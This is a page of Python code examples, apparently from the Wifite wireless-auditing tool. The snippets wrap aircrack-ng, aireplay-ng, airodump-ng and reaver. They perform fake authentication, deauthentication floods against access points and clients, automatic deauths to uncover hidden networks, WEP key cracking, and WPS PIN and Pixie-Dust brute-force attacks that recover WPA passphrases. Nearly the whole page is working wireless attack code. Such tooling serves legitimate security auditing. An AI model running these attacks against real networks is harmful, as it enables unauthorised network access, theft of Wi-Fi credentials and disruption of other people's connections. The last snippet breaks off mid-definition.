Пример #1
0
    def fakeauth(target, timeout=5, num_attempts=3):
        '''
        Tries a one-time fake-authenticate with a target AP.
        Params:
            target (py.Target): Instance of py.Target
            timeout (int): Time to wait for fakeuth to succeed.
            num_attempts (int): Number of fakeauth attempts to make.
        Returns:
            (bool): True if fakeauth succeeds, otherwise False
        '''

        cmd = [
            'aireplay-ng',
            '-1',
            '0',  # Fake auth, no delay
            '-a',
            target.bssid,
            '-T',
            str(num_attempts)
        ]
        if target.essid_known:
            cmd.extend(['-e', target.essid])
        cmd.append(Configuration.interface)
        fakeauth_proc = Process(cmd, devnull=False, cwd=Configuration.temp())

        timer = Timer(timeout)
        while fakeauth_proc.poll() is None and not timer.ended():
            time.sleep(0.1)
        if fakeauth_proc.poll() is None or timer.ended():
            fakeauth_proc.interrupt()
            return False
        output = fakeauth_proc.stdout()
        return 'association successful' in output.lower()
Пример #2
0
 def deauth(target_bssid,
            essid=None,
            client_mac=None,
            num_deauths=None,
            timeout=2):
     num_deauths = num_deauths or Configuration.num_deauths
     deauth_cmd = [
         "aireplay-ng",
         "-0",  # Deauthentication
         str(num_deauths),
         "--ignore-negative-one",
         "-a",
         target_bssid,  # Target AP
         "-D"  # Skip AP detection
     ]
     if client_mac is not None:
         # Station-specific deauth
         deauth_cmd.extend(["-c", client_mac])
     if essid:
         deauth_cmd.extend(["-e", essid])
     deauth_cmd.append(Configuration.interface)
     proc = Process(deauth_cmd)
     while proc.poll() is None:
         if proc.running_time() >= timeout:
             proc.interrupt()
         time.sleep(0.2)
Пример #3
0
class Aircrack(object):
    def __init__(self, ivs_file=None):

        self.cracked_file = Configuration.temp() + 'wepkey.txt'

        # Delete previous cracked files
        if os.path.exists(self.cracked_file):
            os.remove(self.cracked_file)

        command = ['aircrack-ng', '-a', '1', '-l', self.cracked_file, ivs_file]

        self.pid = Process(command, devnull=True)

    def is_running(self):
        return self.pid.poll() == None

    def is_cracked(self):
        return os.path.exists(self.cracked_file)

    def stop(self):
        ''' Stops aircrack process '''
        if self.pid.poll() == None:
            self.pid.interrupt()

    def get_key_hex_ascii(self):
        if not self.is_cracked():
            raise Exception('Cracked file not found')
        f = open(self.cracked_file, 'r')
        hex_raw = f.read()
        f.close()

        hex_key = ''
        ascii_key = ''
        while len(hex_raw) > 0:
            # HEX
            if hex_key != '':
                hex_key += ':'
            hex_key += hex_raw[0:2]

            # ASCII
            # Convert hex to decimal
            code = int(hex_raw[0:2], 16)
            if code < 32 or code > 127:
                # Hex key is non-printable in ascii
                ascii_key = None
                continue
            elif ascii_key == None:
                # We can't generate an Ascii key
                continue
            # Convert decimal to char
            ascii_key += chr(code)

            # Trim first two characters
            hex_raw = hex_raw[2:]
            continue

        return (hex_key, ascii_key)
Пример #4
0
class Airodump(object):
    ''' Wrapper around airodump-ng program '''

    def __init__(self, interface=None, channel=None, encryption=None,\
                       wps=False, target_bssid=None, output_file_prefix='airodump',\
                       ivs_only=False):
        '''
            Sets up airodump arguments, doesn't start process yet
        '''

        Configuration.initialize()

        if interface == None:
            interface = Configuration.interface
        if interface == None:
            raise Exception("Wireless interface must be defined (-i)")
        self.interface = interface

        self.targets = []

        if channel == None:
            channel = Configuration.target_channel
        self.channel = channel

        self.encryption = encryption
        self.wps = wps

        self.target_bssid = target_bssid
        self.output_file_prefix = output_file_prefix
        self.ivs_only = ivs_only


    def __enter__(self):
        '''
            Setting things up for this context.
            Called at start of 'with Airodump(...) as x:'
            Actually starts the airodump process.
        '''
        self.delete_airodump_temp_files()

        self.csv_file_prefix = Configuration.temp() + self.output_file_prefix

        # Build the command
        command = [
            'airodump-ng',
            self.interface,
            '-a', # Only show associated clients
            '-w', self.csv_file_prefix # Output file prefix
        ]
        if self.channel:
            command.extend(['-c', str(self.channel)])
        if self.encryption:
            command.extend(['--enc', self.encryption])
        if self.wps:
            command.extend(['--wps'])
        if self.target_bssid:
            command.extend(['--bssid', self.target_bssid])

        if self.ivs_only:
            command.extend(['--output-format', 'ivs,csv'])
        else:
            command.extend(['--output-format', 'pcap,csv'])

        # Start the process
        self.pid = Process(command, devnull=True)
        return self


    def __exit__(self, type, value, traceback):
        '''
            Tearing things down since the context is being exited.
            Called after 'with Airodump(...)' goes out of scope.
        '''
        # Kill the process
        self.pid.interrupt()

        # Delete temp files
        self.delete_airodump_temp_files()


    def find_files(self, endswith=None):
        ''' Finds all files in the temp directory that start with the output_file_prefix '''
        result = []
        for fil in os.listdir(Configuration.temp()):
            if fil.startswith(self.output_file_prefix):
                if not endswith or fil.endswith(endswith):
                    result.append(Configuration.temp() + fil)
        return result

    def delete_airodump_temp_files(self):
        '''
            Deletes airodump* files in the temp directory.
            Also deletes replay_*.cap and *.xor files in pwd.
        '''
        # Remove all temp files
        for fil in self.find_files():
            os.remove(fil)

        # Remove .cap and .xor files from pwd
        for fil in os.listdir('.'):
            if fil.startswith('replay_') and fil.endswith('.cap'):
                os.remove(fil)
            if fil.endswith('.xor'):
                os.remove(fil)

    def get_targets(self):
        ''' Parses airodump's CSV file, returns list of Targets '''
        # Find the .CSV file
        csv_filename = None
        for fil in self.find_files(endswith='-01.csv'):
            # Found the file
            csv_filename = fil
            break
        if csv_filename == None or not os.path.exists(csv_filename):
            # No file found
            return self.targets

        # Parse the .CSV file
        targets = Airodump.get_targets_from_csv(csv_filename)

        # Check targets for WPS
        capfile = csv_filename[:-3] + 'cap'
        Wash.check_for_wps_and_update_targets(capfile, targets)

        # Filter targets based on encryption
        targets = Airodump.filter_targets(targets)

        # Sort by power
        targets.sort(key=lambda x: x.power, reverse=True)

        self.targets = targets

        return self.targets


    @staticmethod
    def get_targets_from_csv(csv_filename):
        '''
            Returns list of Target objects parsed from CSV file
        '''
        targets = []
        import csv
        with open(csv_filename, 'rb') as csvopen:
            lines = (line.replace('\0', '') for line in csvopen)
            csv_reader = csv.reader(lines, delimiter=',')
            hit_clients = False
            for row in csv_reader:
                # Each "row" is a list of fields for a target/client

                if len(row) == 0: continue

                if row[0].strip() == 'BSSID':
                    # This is the "header" for the list of Targets
                    hit_clients = False
                    continue

                elif row[0].strip() == 'Station MAC':
                    # This is the "header" for the list of Clients
                    hit_clients = True
                    continue

                if hit_clients:
                    # The current row corresponds to a "Client" (computer)
                    client = Client(row)

                    if 'not associated' in client.bssid:
                        # Ignore unassociated clients
                        continue

                    # Add this client to the appropriate Target
                    for t in targets:
                        if t.bssid == client.bssid:
                            t.clients.append(client)
                            break

                else:
                    # The current row corresponds to a "Target" (router)
                    target = Target(row)

                    if target.essid_len == 0:
                        # Ignore empty/blank ESSIDs
                        continue

                    targets.append(target)
        return targets

    @staticmethod
    def filter_targets(targets):
        ''' Filters targets based on Configuration '''
        result = []
        # Filter based on Encryption
        for target in targets:
            if 'WEP' in Configuration.encryption_filter and \
               'WEP' in target.encryption:
                result.append(target)
            elif 'WPA' in Configuration.encryption_filter and \
                 'WPA' in target.encryption:
                    result.append(target)
            elif 'WPS' in Configuration.encryption_filter and \
                 target.wps:
                result.append(target)

        # Filter based on BSSID/ESSID
        bssid = Configuration.target_bssid
        essid = Configuration.target_essid
        i = 0
        while i < len(result):
            if bssid and result[i].bssid.lower() != bssid.lower():
                result.pop(i)
                continue
            if essid and result[i].essid.lower() != essid.lower():
                result.pop(i)
                continue
            i += 1
        return result
Пример #5
0
    def run_pixiedust_attack(self):
        # Write reaver stdout to file.
        self.stdout_file = Configuration.temp('reaver.out')
        if os.path.exists(self.stdout_file):
            os.remove(self.stdout_file)

        command = [
            'reaver',
            '--interface',
            Configuration.interface,
            '--bssid',
            self.target.bssid,
            '--channel',
            self.target.channel,
            '--pixie-dust',
            '1',  # pixie-dust attack
            #'--delay', '0',
            #'--no-nacks',
            '--session',
            '/dev/null',  # Don't restart session
            '-vv'  # (very) verbose
        ]
        stdout_write = open(self.stdout_file, 'a')
        reaver = Process(command,
                         stdout=stdout_write,
                         stderr=Process.devnull())

        pin = None
        step = 'initializing'
        time_since_last_step = 0

        with Airodump(channel=self.target.channel,
                      target_bssid=self.target.bssid,
                      skip_wash=True,
                      output_file_prefix='pixie') as airodump:

            Color.clear_line()
            Color.pattack("WPS", self.target, "Pixie Dust",
                          "Waiting for target to appear...")

            while True:
                try:
                    airodump_target = self.wait_for_target(airodump)
                except Exception as e:
                    Color.pattack("WPS", self.target, "Pixie-Dust",
                                  "{R}failed: {O}%s{W}" % e)
                    Color.pl("")
                    return False

                stdout_write.flush()

                # Check output from reaver process
                stdout = self.get_stdout()
                stdout_last_line = stdout.split('\n')[-1]

                (pin, psk, ssid) = self.get_pin_psk_ssid(stdout)

                # Check if we cracked it, or if process stopped.
                if (pin and psk and ssid) or reaver.poll() != None:
                    reaver.interrupt()

                    # Check one-last-time for PIN/PSK/SSID, in case of race condition.
                    stdout = self.get_stdout()
                    (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout)

                    # Check if we cracked it.
                    if pin and psk and ssid:
                        # We cracked it.
                        bssid = self.target.bssid
                        Color.clear_line()
                        Color.pattack(
                            "WPS", airodump_target, "Pixie-Dust",
                            "{G}successfully cracked WPS PIN and PSK{W}\n")
                        self.crack_result = CrackResultWPS(
                            bssid, ssid, pin, psk)
                        self.crack_result.dump()
                        return True
                    else:
                        # Failed to crack, reaver proces ended.
                        Color.clear_line()
                        Color.pattack("WPS", airodump_target, "Pixie-Dust",
                                      "{R}Failed: {O}WPS PIN not found{W}\n")
                        return False

                if 'WPS pin not found' in stdout:
                    Color.pl('{R}failed: {O}WPS pin not found{W}')
                    break

                last_step = step
                # Status updates, depending on last line of stdout
                if 'Waiting for beacon from' in stdout_last_line:
                    step = '({C}step 1/8{W}) waiting for beacon'
                elif 'Associated with' in stdout_last_line:
                    step = '({C}step 2/8{W}) waiting to start session'
                elif 'Starting Cracking Session.' in stdout_last_line:
                    step = '({C}step 3/8{W}) waiting to try pin'
                elif 'Trying pin' in stdout_last_line:
                    step = '({C}step 4/8{W}) trying pin'
                elif 'Sending EAPOL START request' in stdout_last_line:
                    step = '({C}step 5/8{W}) sending eapol start request'
                elif 'Sending identity response' in stdout_last_line:
                    step = '({C}step 6/8{W}) sending identity response'
                elif 'Sending M2 message' in stdout_last_line:
                    step = '({C}step 7/8{W}) sending m2 message (may take a while)'
                elif 'Detected AP rate limiting,' in stdout_last_line:
                    if Configuration.wps_skip_rate_limit:
                        Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
                        Color.pl(
                            '{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
                            ' this kind of failure in the future{W}')
                        break
                    step = '({C}step -/8{W}) waiting for AP rate limit'

                if step != last_step:
                    # Step changed, reset step timer
                    time_since_last_step = 0
                else:
                    time_since_last_step += 1

                if time_since_last_step > Configuration.wps_pixie_step_timeout:
                    Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' %
                             Configuration.wps_pixie_step_timeout)
                    break

                # TODO: Timeout check
                if reaver.running_time() > Configuration.wps_pixie_timeout:
                    Color.pl('{R}failed: {O}timeout after %d seconds{W}' %
                             Configuration.wps_pixie_timeout)
                    break

                # Reaver Failure/Timeout check
                fail_count = stdout.count('WPS transaction failed')
                if fail_count > Configuration.wps_fail_threshold:
                    Color.pl('{R}failed: {O}too many failures (%d){W}' %
                             fail_count)
                    break
                timeout_count = stdout.count('Receive timeout occurred')
                if timeout_count > Configuration.wps_timeout_threshold:
                    Color.pl('{R}failed: {O}too many timeouts (%d){W}' %
                             timeout_count)
                    break

                Color.clear_line()
                Color.pattack("WPS", airodump_target, "Pixie-Dust", step)

                time.sleep(1)
                continue

        # Attack failed, already printed reason why
        reaver.interrupt()
        stdout_write.close()
        return False
Пример #6
0
    def run_wps_pin_attack(self):
        # Write reaver stdout to file.
        self.stdout_file = Configuration.temp('reaver.out')
        if os.path.exists(self.stdout_file):
            os.remove(self.stdout_file)
        stdout_write = open(self.stdout_file, 'a')

        # Start reaver process
        command = [
            'reaver',
            '--interface',
            Configuration.interface,
            '--bssid',
            self.target.bssid,
            '--channel',
            self.target.channel,
            '--session',
            '/dev/null',  # Don't restart session
            '-vv'  # verbose
        ]
        reaver = Process(command,
                         stdout=stdout_write,
                         stderr=Process.devnull())

        self.success = False
        pins = set()
        pin_current = 0
        pin_total = 11000
        failures = 0
        state = 'initializing'

        with Airodump(channel=self.target.channel,
                      target_bssid=self.target.bssid,
                      skip_wash=True,
                      output_file_prefix='wps') as airodump:

            Color.clear_line()
            Color.pattack("WPS", self.target, "PIN Attack",
                          "Waiting for target to appear...")

            while True:
                try:
                    airodump_target = self.wait_for_target(airodump)
                except Exception as e:
                    Color.pattack("WPS", self.target, "PIN Attack",
                                  "{R}failed: {O}%s{W}" % e)
                    Color.pl("")
                    return False
                time.sleep(1)
                percent = 100 * float(pin_current) / float(pin_total)
                Color.clear_line()
                status = '{G}%.2f%% done{W}, ' % percent
                status += '{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total)
                status += '{R}%d/%d failures{W}' % (
                    failures, Configuration.wps_fail_threshold)
                Color.pattack("WPS", airodump_target, "PIN Attack", status)

                if failures >= Configuration.wps_fail_threshold:
                    Color.pattack("WPS", airodump_target, "PIN Attack",
                                  '{R}failed: {O}too many failures{W}')
                    Color.pl("")
                    break

                # Get output
                out = self.get_stdout()

                # Clear output file
                f = open(self.stdout_file, 'w')
                f.write('')
                f.close()

                # CHECK FOR CRACK

                (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(out)
                if pin and psk and ssid:
                    # We cracked it.
                    self.success = True
                    Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n')
                    self.crack_result = CrackResultWPS(self.target.bssid, ssid,
                                                       pin, psk)
                    self.crack_result.dump()
                    break

                # PIN PROGRESS

                # Reaver 1.5.*
                match = None
                for match in re.finditer(
                        'Pin count advanced: (\d+)\\. Max pin attempts: (\d+)',
                        out):
                    # Look at last entry for "Pin count advanced" to get latest pin count
                    pass
                if match:
                    # Reset failures on successful try
                    failures = 0
                    groups = match.groups()
                    pin_current = int(groups[0])
                    pin_total = int(groups[1])

                # Reaver 1.3, 1.4
                match = None
                for match in re.finditer('Trying pin (\d+)', out):
                    if match:
                        pin = int(match.groups()[0])
                        if pin not in pins:
                            # Reset failures on successful try
                            failures = 0
                            pins.add(pin)
                            pin_current += 1

                # Failures
                if 'WPS transaction failed' in out:
                    failures += out.count('WPS transaction failed')
                elif 'Receive timeout occurred' in out:
                    # Reaver 1.4
                    failures += out.count('Receive timeout occurred')

                # Status
                if 'Waiting for beacon from' in out:
                    state = '{O}waiting for beacon{W}'
                if 'Starting Cracking Session' in out: state = '{C}cracking{W}'
                # Reaver 1.4
                if 'Trying pin' in out and 'cracking' not in state:
                    state = '{C}cracking{W}'

                if 'Detected AP rate limiting' in out:
                    state = '{R}rate-limited{W}'
                    if Configuration.wps_skip_rate_limit:
                        Color.pl(state)
                        Color.pl('{!} {R}hit rate limit, stopping{W}')
                        Color.pl(
                            '{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
                            ' this kind of failure in the future{W}')
                        break

                if 'WARNING: Failed to associate with' in out:
                    # TODO: Fail after X association failures (instead of just one)
                    Color.pl(
                        '\n{!} {R}failed to associate with target, {O}stopping{W}'
                    )
                    break

                match = re.search('Estimated Remaining time: ([a-zA-Z0-9]+)',
                                  out)
                if match:
                    eta = match.groups()[0]
                    state = '{C}cracking, ETA: {G}%s{W}' % eta

                match = re.search(
                    'Max time remaining at this rate: ([a-zA-Z0-9:]+)..([0-9]+) pins left to try',
                    out)
                if match:
                    eta = match.groups()[0]
                    state = '{C}cracking, ETA: {G}%s{W}' % eta
                    pins_left = int(match.groups()[1])

                    # Divine pin_current & pin_total from this:
                    pin_current = 11000 - pins_left

                # Check if process is still running
                if reaver.pid.poll() != None:
                    Color.pl('{R}failed{W}')
                    Color.pl('{!} {R}reaver{O} quit unexpectedly{W}')
                    self.success = False
                    break

                # Output the current state
                Color.p(state)
                '''
                [+] Waiting for beacon from AA:BB:CC:DD:EE:FF
                [+] Associated with AA:BB:CC:DD:EE:FF (ESSID: <essid here>)
                [+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
                [+] Trying pin 12345670.
                [+] Pin count advanced: 46. Max pin attempts: 11000
                [!] WPS transaction failed (code: 0x02), re-trying last pin
                [!] WPS transaction failed (code: 0x03), re-trying last pin
                [!] WARNING: Failed to associate with 00:24:7B:AB:5C:EE (ESSID: myqwest0445)
                [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
                [!] WARNING: 25 successive start failures
                [!] WARNING: Failed to associate with B2:B2:DC:A1:35:94 (ESSID: CenturyLink2217)
                [+] 0.55% complete. Elapsed time: 0d0h2m21s.
                [+] Estimated Remaining time: 0d15h11m35s

                [+] Pin cracked in 7 seconds
                [+] WPS PIN: '12345678'
                [+] WPA PSK: 'abcdefgh'
                [+] AP SSID: 'Test Router'

                Reaver 1.4:
                [+] Max time remaining at this rate: 18:19:36 (10996 pins left to try)
                [!] WARNING: Receive timeout occurred

                '''

        reaver.interrupt()

        return self.success
Пример #7
0
class Airodump(object):
    ''' Wrapper around airodump-ng program '''

    def __init__(self, interface=None, channel=None, encryption=None,\
                       wps=False, target_bssid=None, output_file_prefix='airodump',\
                       ivs_only=False, skip_wash=False):
        '''
            Sets up airodump arguments, doesn't start process yet
        '''

        Configuration.initialize()

        if interface == None:
            interface = Configuration.interface
        if interface == None:
            raise Exception("Wireless interface must be defined (-i)")
        self.interface = interface

        self.targets = []

        if channel == None:
            channel = Configuration.target_channel
        self.channel = channel
        self.five_ghz = Configuration.five_ghz

        self.encryption = encryption
        self.wps = wps

        self.target_bssid = target_bssid
        self.output_file_prefix = output_file_prefix
        self.ivs_only = ivs_only
        self.skip_wash = skip_wash


    def __enter__(self):
        '''
            Setting things up for this context.
            Called at start of 'with Airodump(...) as x:'
            Actually starts the airodump process.
        '''
        self.delete_airodump_temp_files()

        self.csv_file_prefix = Configuration.temp() + self.output_file_prefix

        # Build the command
        command = [
            'airodump-ng',
            self.interface,
            '-a', # Only show associated clients
            '-w', self.csv_file_prefix # Output file prefix
        ]
        if self.channel:
            command.extend(['-c', str(self.channel)])
        elif self.five_ghz:
            command.extend(['--band', 'abg'])

        if self.encryption:
            command.extend(['--enc', self.encryption])
        if self.wps:
            command.extend(['--wps'])
        if self.target_bssid:
            command.extend(['--bssid', self.target_bssid])

        if self.ivs_only:
            command.extend(['--output-format', 'ivs,csv'])
        else:
            command.extend(['--output-format', 'pcap,csv'])

        # Start the process
        self.pid = Process(command, devnull=True)
        return self


    def __exit__(self, type, value, traceback):
        '''
            Tearing things down since the context is being exited.
            Called after 'with Airodump(...)' goes out of scope.
        '''
        # Kill the process
        self.pid.interrupt()

        # Delete temp files
        self.delete_airodump_temp_files()


    def find_files(self, endswith=None):
        ''' Finds all files in the temp directory that start with the output_file_prefix '''
        result = []
        for fil in os.listdir(Configuration.temp()):
            if fil.startswith(self.output_file_prefix):
                if not endswith or fil.endswith(endswith):
                    result.append(Configuration.temp() + fil)
        return result

    def delete_airodump_temp_files(self):
        '''
            Deletes airodump* files in the temp directory.
            Also deletes replay_*.cap and *.xor files in pwd.
        '''
        # Remove all temp files
        for fil in self.find_files():
            os.remove(fil)

        # Remove .cap and .xor files from pwd
        for fil in os.listdir('.'):
            if fil.startswith('replay_') and fil.endswith('.cap'):
                os.remove(fil)
            if fil.endswith('.xor'):
                os.remove(fil)

    def get_targets(self):
        ''' Parses airodump's CSV file, returns list of Targets '''
        # Find the .CSV file
        csv_filename = None
        for fil in self.find_files(endswith='-01.csv'):
            # Found the file
            csv_filename = fil
            break
        if csv_filename == None or not os.path.exists(csv_filename):
            # No file found
            return self.targets

        # Parse the .CSV file
        targets = Airodump.get_targets_from_csv(csv_filename)

        # Check targets for WPS
        if not self.skip_wash:
            capfile = csv_filename[:-3] + 'cap'
            Wash.check_for_wps_and_update_targets(capfile, targets)

        # Filter targets based on encryption
        targets = Airodump.filter_targets(targets)

        # Sort by power
        targets.sort(key=lambda x: x.power, reverse=True)

        self.targets = targets

        return self.targets


    @staticmethod
    def get_targets_from_csv(csv_filename):
        '''
            Returns list of Target objects parsed from CSV file
        '''
        targets = []
        import csv
        with open(csv_filename, 'rb') as csvopen:
            lines = (line.replace('\0', '') for line in csvopen)
            csv_reader = csv.reader(lines, delimiter=',')
            hit_clients = False
            for row in csv_reader:
                # Each "row" is a list of fields for a target/client

                if len(row) == 0: continue

                if row[0].strip() == 'BSSID':
                    # This is the "header" for the list of Targets
                    hit_clients = False
                    continue

                elif row[0].strip() == 'Station MAC':
                    # This is the "header" for the list of Clients
                    hit_clients = True
                    continue

                if hit_clients:
                    # The current row corresponds to a "Client" (computer)
                    try:
                        client = Client(row)
                    except IndexError:
                        # Skip if we can't parse the client row
                        continue

                    if 'not associated' in client.bssid:
                        # Ignore unassociated clients
                        continue

                    # Add this client to the appropriate Target
                    for t in targets:
                        if t.bssid == client.bssid:
                            t.clients.append(client)
                            break

                else:
                    # The current row corresponds to a "Target" (router)
                    target = Target(row)

                    if target.essid_len == 0:
                        # Ignore empty/blank ESSIDs
                        continue

                    if target.channel == "-1":
                        # Ignore -1 channel
                        continue

                    targets.append(target)
        return targets

    @staticmethod
    def filter_targets(targets):
        ''' Filters targets based on Configuration '''
        result = []
        # Filter based on Encryption
        for target in targets:
            if 'WEP' in Configuration.encryption_filter and \
               'WEP' in target.encryption:
                result.append(target)
            elif 'WPA' in Configuration.encryption_filter and \
                 'WPA' in target.encryption:
                    result.append(target)
            elif 'WPS' in Configuration.encryption_filter and \
                 target.wps:
                result.append(target)

        # Filter based on BSSID/ESSID
        bssid = Configuration.target_bssid
        essid = Configuration.target_essid
        i = 0
        while i < len(result):
            if bssid and result[i].bssid.lower() != bssid.lower():
                result.pop(i)
                continue
            if essid and result[i].essid.lower() != essid.lower():
                result.pop(i)
                continue
            i += 1
        return result
Пример #8
0
class Aircrack(object):
    def __init__(self, ivs_file=None):
        
        self.cracked_file = Configuration.temp() + 'wepkey.txt'

        # Delete previous cracked files
        if os.path.exists(self.cracked_file):
            os.remove(self.cracked_file)

        command = [
            'aircrack-ng',
            '-a', '1',
            '-l', self.cracked_file,
            ivs_file
        ]

        self.pid = Process(command, devnull=True)


    def is_running(self):
        return self.pid.poll() == None

    def is_cracked(self):
        return os.path.exists(self.cracked_file)

    def stop(self):
        ''' Stops aircrack process '''
        if self.pid.poll() == None:
            self.pid.interrupt()

    def get_key_hex_ascii(self):
        if not self.is_cracked():
            raise Exception('Cracked file not found')
        f = open(self.cracked_file, 'r')
        hex_raw = f.read()
        f.close()

        hex_key = ''
        ascii_key = ''
        while len(hex_raw) > 0:
            # HEX
            if hex_key != '':
                hex_key += ':'
            hex_key += hex_raw[0:2]

            # ASCII
            # Convert hex to decimal
            code = int(hex_raw[0:2], 16)
            if code < 32 or code > 127:
                # Hex key is non-printable in ascii
                ascii_key = None
                continue
            elif ascii_key == None:
                # We can't generate an Ascii key
                continue
            # Convert decimal to char
            ascii_key += chr(code)

            # Trim first two characters
            hex_raw = hex_raw[2:]
            continue

        return (hex_key, ascii_key)
Пример #9
0
class Airodump(object):
    ''' Wrapper around airodump-ng program '''

    def __init__(self, interface=None, channel=None, encryption=None,\
                       wps=False, target_bssid=None, output_file_prefix='airodump',\
                       ivs_only=False, skip_wash=False):
        '''
            Sets up airodump arguments, doesn't start process yet
        '''

        Configuration.initialize()

        if interface == None:
            interface = Configuration.interface
        if interface == None:
            raise Exception("Wireless interface must be defined (-i)")
        self.interface = interface

        self.targets = []

        if channel == None:
            channel = Configuration.target_channel
        self.channel = channel
        self.five_ghz = Configuration.five_ghz

        self.encryption = encryption
        self.wps = wps

        self.target_bssid = target_bssid
        self.output_file_prefix = output_file_prefix
        self.ivs_only = ivs_only
        self.skip_wash = skip_wash

        # For tracking decloaked APs (previously were hidden)
        self.decloaking = False
        self.decloaked_targets = []
        self.decloaked_times = {
        }  # Map of BSSID(str) -> epoch(int) of last deauth

    def __enter__(self):
        '''
            Setting things up for this context.
            Called at start of 'with Airodump(...) as x:'
            Actually starts the airodump process.
        '''
        self.delete_airodump_temp_files()

        self.csv_file_prefix = Configuration.temp() + self.output_file_prefix

        # Build the command
        command = [
            'airodump-ng',
            self.interface,
            '-a',  # Only show associated clients
            '-w',
            self.csv_file_prefix,  # Output file prefix
            '--write-interval',
            '1'  # Write every second
        ]
        if self.channel:
            command.extend(['-c', str(self.channel)])
        elif self.five_ghz:
            command.extend(['--band', 'a'])

        if self.encryption:
            command.extend(['--enc', self.encryption])
        if self.wps:
            command.extend(['--wps'])
        if self.target_bssid:
            command.extend(['--bssid', self.target_bssid])

        if self.ivs_only:
            command.extend(['--output-format', 'ivs,csv'])
        else:
            command.extend(['--output-format', 'pcap,csv'])

        # Start the process
        self.pid = Process(command, devnull=True)
        return self

    def __exit__(self, type, value, traceback):
        '''
            Tearing things down since the context is being exited.
            Called after 'with Airodump(...)' goes out of scope.
        '''
        # Kill the process
        self.pid.interrupt()

        # Delete temp files
        self.delete_airodump_temp_files()

    def find_files(self, endswith=None):
        ''' Finds all files in the temp directory that start with the output_file_prefix '''
        result = []
        for fil in os.listdir(Configuration.temp()):
            if fil.startswith(self.output_file_prefix):
                if not endswith or fil.endswith(endswith):
                    result.append(Configuration.temp() + fil)
        return result

    def delete_airodump_temp_files(self):
        '''
            Deletes airodump* files in the temp directory.
            Also deletes replay_*.cap and *.xor files in pwd.
        '''
        # Remove all temp files
        for fil in self.find_files():
            os.remove(fil)

        # Remove .cap and .xor files from pwd
        for fil in os.listdir('.'):
            if fil.startswith('replay_') and fil.endswith('.cap'):
                os.remove(fil)
            if fil.endswith('.xor'):
                os.remove(fil)

    def get_targets(self):
        ''' Parses airodump's CSV file, returns list of Targets '''
        # Find the .CSV file
        csv_filename = None
        for fil in self.find_files(endswith='-01.csv'):
            # Found the file
            csv_filename = fil
            break
        if csv_filename == None or not os.path.exists(csv_filename):
            # No file found
            return self.targets

        # Parse the .CSV file
        targets = Airodump.get_targets_from_csv(csv_filename)

        # Check targets for WPS
        if not self.skip_wash:
            capfile = csv_filename[:-3] + 'cap'
            Wash.check_for_wps_and_update_targets(capfile, targets)

        # Filter targets based on encryption
        targets = Airodump.filter_targets(targets, skip_wash=self.skip_wash)

        # Sort by power
        targets.sort(key=lambda x: x.power, reverse=True)

        for old_target in self.targets:
            for new_target in targets:
                if old_target.bssid != new_target.bssid: continue
                if new_target.essid_known and not old_target.essid_known:
                    # We decloaked a target!
                    self.decloaked_targets.append(new_target)

        self.targets = targets
        self.deauth_hidden_targets()

        return self.targets

    @staticmethod
    def get_targets_from_csv(csv_filename):
        '''
            Returns list of Target objects parsed from CSV file
        '''
        targets = []
        import csv
        with open(csv_filename, 'rb') as csvopen:
            lines = (line.replace('\0', '') for line in csvopen)
            csv_reader = csv.reader(lines, delimiter=',')
            hit_clients = False
            for row in csv_reader:
                # Each "row" is a list of fields for a target/client

                if len(row) == 0: continue

                if row[0].strip() == 'BSSID':
                    # This is the "header" for the list of Targets
                    hit_clients = False
                    continue

                elif row[0].strip() == 'Station MAC':
                    # This is the "header" for the list of Clients
                    hit_clients = True
                    continue

                if hit_clients:
                    # The current row corresponds to a "Client" (computer)
                    try:
                        client = Client(row)
                    except IndexError:
                        # Skip if we can't parse the client row
                        continue

                    if 'not associated' in client.bssid:
                        # Ignore unassociated clients
                        continue

                    # Add this client to the appropriate Target
                    for t in targets:
                        if t.bssid == client.bssid:
                            t.clients.append(client)
                            break

                else:
                    # The current row corresponds to a "Target" (router)
                    target = Target(row)

                    if target.essid_len == 0:
                        # Ignore empty/blank ESSIDs
                        pass

                    if target.channel == "-1":
                        # Ignore -1 channel
                        pass

                    targets.append(target)
        return targets

    @staticmethod
    def filter_targets(targets, skip_wash=False):
        ''' Filters targets based on Configuration '''
        result = []
        # Filter based on Encryption
        for target in targets:
            if 'WEP' in Configuration.encryption_filter and 'WEP' in target.encryption:
                result.append(target)
            elif 'WPA' in Configuration.encryption_filter and 'WPA' in target.encryption:
                result.append(target)
            elif 'WPS' in Configuration.encryption_filter and target.wps:
                result.append(target)
            elif skip_wash:
                result.append(target)

        # Filter based on BSSID/ESSID
        bssid = Configuration.target_bssid
        essid = Configuration.target_essid
        i = 0
        while i < len(result):
            if bssid and result[i].bssid.lower() != bssid.lower():
                result.pop(i)
                continue
            if essid and result[i].essid.lower() != essid.lower():
                result.pop(i)
                continue
            i += 1
        return result

    def deauth_hidden_targets(self):
        '''
            Sends deauths (to broadcast and to each client) for all
            targets (APs) that have unknown ESSIDs (hidden router names).
        '''
        self.decloaking = False

        # Do not deauth if requested
        if Configuration.no_deauth: return

        # Do not deauth if channel is not fixed.
        if self.channel is None: return

        # Reusable deauth command
        deauth_cmd = [
            'aireplay-ng',
            '-0',  # Deauthentication
            '1',  # Number of deauths to perform.
            '--ignore-negative-one'
        ]
        for target in self.targets:
            if target.essid_known: continue
            now = int(time.time())
            secs_since_decloak = now - self.decloaked_times.get(
                target.bssid, 0)
            # Decloak every AP once every 30 seconds
            if secs_since_decloak < 30: continue
            self.decloaking = True
            self.decloaked_times[target.bssid] = now
            if Configuration.verbose > 1:
                from Color import Color
                verbout = " [?] Deauthing %s" % target.bssid
                verbout += " (broadcast & %d clients)" % len(target.clients)
                Color.pe("\n{C}" + verbout + "{W}")
            # Deauth broadcast
            iface = Configuration.interface
            Process(deauth_cmd + ['-a', target.bssid, iface])
            # Deauth clients
            for client in target.clients:
                Process(deauth_cmd + ['-c', client.bssid, iface])
Пример #10
0
class Aireplay(object):
    def __init__(self, target, attack_type, client_mac=None, replay_file=None):
        '''
            Starts aireplay process.
            Args:
                target - Instance of Target object, AP to attack.
                attack_type - int, str, or WEPAttackType instance.
                client_mac - MAC address of an associated client.
